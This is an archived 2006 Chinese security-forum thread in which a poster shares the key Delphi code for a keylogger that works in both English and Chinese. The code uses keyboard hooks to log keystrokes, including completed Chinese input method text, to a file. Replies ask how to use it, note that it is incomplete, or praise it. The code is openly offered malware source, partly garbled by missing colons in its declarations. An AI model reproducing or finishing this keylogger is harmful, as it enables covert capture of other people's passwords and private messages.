安全基地's Archiver

青鸟 发表于 2006-12-9 12:29

[delphi代码]中英文键盘记录代码

中英文键盘记录代码
        
[code]         
        
[原创]一个中英文键盘记录代码(delphi)

一个声明:基本实现监视记录功能,参考了网上的相关代码(特别是那个汇编做的)
一个问题:自己测试发现遇到退格键时会记录成[<=](多出前面一个),下面给出关键代码,大家试试看还有什么问题,如何解决?

CODE:

function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;
var
pcs:pMSG;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
  pcs:=PMSG(lparam);
  if pcs^.message = WM_KEYUP then
  begin
    if pcs^.wParam<$30 then
    begin
    if pcs^.wParam=VK_UP then ToFileProc('[↑]')
    else
    if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
    else
    if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
    else
    if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
    else
    if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
    else
    if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
    else
    if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
    else
    if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
    else
    if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
    else
    if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
    end;
  end
  else
  if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
  begin
    if not (IsDBCSleadByte(pcs^.wParam)) then
    begin
    if (wParam and PM_REMOVE)>0 then
    begin
      if pcs^.wParam=VK_SPACE then ToFileProc(' ')
      else
      if pcs^.wParam=VK_RETURN then ToFileProc('#10')
      else
      ToFileProc(char(pcs^.wParam AND $FF))
    end;
    end;
  end;
end;
pcs:=nil;
end;

function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLenWORD;
himc:HWND;
hFocus:THandle;
pcsCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
  pcs:=PCWPSTRUCT(lparam);
  if PCs^.message = WM_IME_COMPOSITION then
    begin
    hFocus := GetFocus();
    HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
    if HIMC = 0 then Exit;
    //将ImmGetCompositionString的获取长度设为0来获取字符串大小.
    dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
    if dwLen > 0 then
    begin
        // 再调用一次.ImmGetCompositionString获取字符串
      if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
      begin
        if strcomp(cchar,cchar2)<>0 then
        ToFileProc(cchar);
        strcopy(cchar2,cchar);
        ZeroMemory(@cchar,20);
      end;
    end;
    ImmReleaseContext(hFocus, HIMC);
  end;
end;
pcs:=nil;
end;

[Copy to clipboard]
      
      
[/code]

[[i] 本帖最后由 逃学书童 于 2007-3-24 15:17 编辑 [/i]]

zzzsvpzzz 发表于 2006-12-9 13:01

怎么用啊 教我 好不

越ヅ〃心伍 发表于 2006-12-10 09:37

只给出关键代码啊

烂香蕉 发表于 2006-12-22 21:50

内容不全
内容不全
内容不全

matin 发表于 2006-12-22 21:52

[quote]原帖由 [i]烂香蕉[/i] 于 2006-12-22 21:50 发表
内容不全
内容不全
内容不全 [/quote]
哈哈 ` 在烂香蕉面前谈键盘记录 这个东西是差了点

逃学书童 发表于 2007-3-20 21:05

回复 #1 青鸟 的帖子

好帖支持,请楼主整理帖子中的 Smilies ,谢谢合作!!!:victory: :)

xy_asw 发表于 2007-3-24 10:02

唉```我一点都不懂`~

烂香蕉 发表于 2007-7-31 14:50

好东东~~支持

页: [1]

Powered by 安全基地 Archiver 6.1.0  © 2001-2007 本SEO插件由网络人站长论坛出品